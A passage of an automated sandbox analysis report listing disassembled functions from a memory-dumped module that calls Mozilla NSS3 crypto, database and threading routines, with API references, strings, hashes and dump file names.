Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEC0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEC0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEC0D7D
free.MOZGLUE(00000000), ref: 6CEC0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0DC1
free.MOZGLUE(00000000), ref: 6CEC0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEC0E0F

Part of subcall function 6CE995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE995E0
Part of subcall function 6CE995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE995F5
Part of subcall function 6CE995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE99609
Part of subcall function 6CE995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE9961D
Part of subcall function 6CE995C0: PK11_GetInternalSlot.NSS3 ref: 6CE9970B
Part of subcall function 6CE995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE99756
Part of subcall function 6CE995C0: PK11_GetIVLength.NSS3(?), ref: 6CE99767
Part of subcall function 6CE995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE9977E
Part of subcall function 6CE995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9978E

Strings

*,l, xrefs: 6CEC0C69, 6CEC0DE0, 6CEC0C80, 6CEC0C8B, 6CEC0CAF
-$l, xrefs: 6CEC0C64
*,l, xrefs: 6CEC0DCC

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 6401dc453933df0947d9604f729de0e89b33209643d93ab2aac790951691326f
Instruction ID: 16d521d8e60b2b68e9fb36c137ac29ddfa77750d2d5331b993071490982295a8
Opcode Fuzzy Hash: 6401dc453933df0947d9604f729de0e89b33209643d93ab2aac790951691326f
Instruction Fuzzy Hash: EF41B3F5E01245AFEB009F64ED45BEF7A74AF0531CF204028E9296B741E735AA14CBE2

Function 6CEB5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEB5EC0,00000000,?,?), ref: 6CEB5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEB5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEB5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEB5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEB5EC0,00000000,?,?), ref: 6CEB5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEB5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEB5D80

Strings

dbm:, xrefs: 6CEB5D03, 6CEB5D60
sql:, xrefs: 6CEB5CD1, 6CEB5D36
multiaccess:, xrefs: 6CEB5CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CEB5D1A
extern:, xrefs: 6CEB5CEA, 6CEB5D4B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: c3bdaba7450d904e5ce3c6ca6505b2858f1cdb453d5a1b1dbe9a57b7c8a69375
Instruction ID: 92abd606e0b703d419fbb70ada23533e100967aa4afef300ef196257b5616966
Opcode Fuzzy Hash: c3bdaba7450d904e5ce3c6ca6505b2858f1cdb453d5a1b1dbe9a57b7c8a69375
Instruction Fuzzy Hash: 3D3108A0B433419BFB401A28DD89BBB7778AF0224CF344231EE55F6B81E772D911C695

Function 6CEB6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF81DE0,?), ref: 6CEB6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEB6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEB6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEB6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEB6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEB6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEB6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEB6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEB7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEB7033
free.MOZGLUE(?), ref: 6CEB703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEB7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEB7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEB70AF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 78910c248685a41faa6d969a92e5fa1fab32082ea3ef71f3f5a17474c1777262
Instruction ID: 8e879caf32bb083958ee96d8c0163c5119e0f7b97311e773a68165c347dacd72
Opcode Fuzzy Hash: 78910c248685a41faa6d969a92e5fa1fab32082ea3ef71f3f5a17474c1777262
Instruction Fuzzy Hash: 83A106719142019BEB089F24DE82B7A32B8DB8130CF34493DF919EBB91E735D9458793

Function 6CE7AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF39
PR_Unlock.NSS3(?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF69
TlsGetValue.KERNEL32 ref: 6CE7B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE7B083
PR_Unlock.NSS3(?), ref: 6CE7B0A4
TlsGetValue.KERNEL32 ref: 6CE7B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE7B0D9
PR_Unlock.NSS3 ref: 6CE7B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B182

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE7B177

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1C2

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,?,6CE70844,?), ref: 6CEA157A
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(?,?,?,6CE70844,?), ref: 6CEA158F
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?,?,?,?,6CE70844,?), ref: 6CEA15B2

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e29c4b5bb6d6758e2423f4201de0e06c154844596c7b4cfa590ab10ff7b60690
Instruction ID: cc59595d2b9acefa6286fac82cfefc325974dcab8797e6d1bfb533229eef69fb
Opcode Fuzzy Hash: e29c4b5bb6d6758e2423f4201de0e06c154844596c7b4cfa590ab10ff7b60690
Instruction Fuzzy Hash: 1BA1B2B6E002059FEF109FA4DC81BEEBBB4EF05318F244129E905A7751E732E955CBA1

Function 6CE72C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C93

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23), ref: 6CE72CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?), ref: 6CE72CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?), ref: 6CE72D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE72D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE72D71
PR_Unlock.NSS3(?), ref: 6CE72D7E

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

#?l, xrefs: 6CE72C43

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 9234dff8178d1f05ea7f8394097afc3f2c1d841348decba3d63a012c469175b9
Instruction ID: 7fdfff300d5113689945ed18475aca1a8a3716782358e40d25cbad4e60076fd5
Opcode Fuzzy Hash: 9234dff8178d1f05ea7f8394097afc3f2c1d841348decba3d63a012c469175b9
Instruction Fuzzy Hash: 7B5117B5D00605EBDB109F24EC449AAB7B4FF2935CB248524ED1897B12F732E964C7E1

Function 6CECAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECADB1

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CECADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CECAE08

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECAE25
PL_FreeArenaPool.NSS3 ref: 6CECAE63
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CECAE4D

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECAE93
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CECAECC
PL_FreeArenaPool.NSS3 ref: 6CECAEDE
PL_FinishArenaPool.NSS3 ref: 6CECAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECAEF5
PL_FinishArenaPool.NSS3 ref: 6CECAF16

Strings

security, xrefs: 6CECADEE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 8b24f57e8d0348525b3a9c124af392f3f017fa61a47d0e940233111a50a08e7c
Instruction ID: 1ea5af73380a826b8ffa49130d4db5f26bbd8ddf9aa67d67d2f253a44201de3d
Opcode Fuzzy Hash: 8b24f57e8d0348525b3a9c124af392f3f017fa61a47d0e940233111a50a08e7c
Instruction Fuzzy Hash: AC412BB1E842046BE7215B14ED85BBA32B8AF4231CF340529E834A6F41F7359989C7D7

Function 6CF6AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF19890: TlsGetValue.KERNEL32(?,?,?,6CF197EB), ref: 6CF1989E

EnterCriticalSection.KERNEL32(?), ref: 6CF6AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF6AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF6AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF6AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF6B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B070
PR_JoinThread.NSS3(?), ref: 6CF6B07B
free.MOZGLUE(?), ref: 6CF6B084
EnterCriticalSection.KERNEL32(?), ref: 6CF6B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B0C4
PR_JoinThread.NSS3(?), ref: 6CF6B0F3
free.MOZGLUE(?), ref: 6CF6B0FC
PR_JoinThread.NSS3(?), ref: 6CF6B137
free.MOZGLUE(?), ref: 6CF6B140

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 3232ab289dcc6c1655a2240c7f1681e3b8684c8747ffd2f56aef7e41cfa0962b
Instruction ID: a93ca0976870149a947e6ae7e6bec05aaa08e7afe47ea0751fcb59cf355793ed
Opcode Fuzzy Hash: 3232ab289dcc6c1655a2240c7f1681e3b8684c8747ffd2f56aef7e41cfa0962b
Instruction Fuzzy Hash: 3C915DB6900601DFCB04DF25D88095ABBF1FF4931872985A9D8195BF22EB32FD46CB91

Function 6CEE5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2BF0
Part of subcall function 6CEE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C07
Part of subcall function 6CEE2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C1E
Part of subcall function 6CEE2BE0: free.MOZGLUE(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C4A

free.MOZGLUE(?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D0F
free.MOZGLUE(?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D4E
free.MOZGLUE(?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D62
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D85
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D99
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E3E
free.MOZGLUE(?,?,?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E47
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5F4B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 059d469c48a517036ed2c09d9221bdcbacd174495df4404bdfc0210809c04402
Instruction ID: 14b35b45dedffc4a2195db3f6240fde02e8f3e5580e04c538f99035b0a7e4558
Opcode Fuzzy Hash: 059d469c48a517036ed2c09d9221bdcbacd174495df4404bdfc0210809c04402
Instruction Fuzzy Hash: D471AEB4A01B01DFD700CF64D884AA7B7B5BF89348F248529E81E87B11EB32F955CB91

Function 6CE68DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE68E22
EnterCriticalSection.KERNEL32(?), ref: 6CE68E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE68E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE68E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE68EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE68EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE68EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F00
free.MOZGLUE(?), ref: 6CE68F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE68F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F5B
PR_Unlock.NSS3(?), ref: 6CE68F72
PR_Unlock.NSS3(?), ref: 6CE68F82

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 6b7f91341da946c339ea0fe5c764c709fe6cd7ad9626b244fce19f912133efe3
Instruction ID: 76c8a133580e4a6e13a34548b43f13edffd60079d44c5b06fb49059fbc76e69f
Opcode Fuzzy Hash: 6b7f91341da946c339ea0fe5c764c709fe6cd7ad9626b244fce19f912133efe3
Instruction Fuzzy Hash: 56515AB2E502059FD7108F69CC8496EB7B9EF46358F24412AEC189BF00E731ED4587E1

Function 6CE8CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CE8CE9E
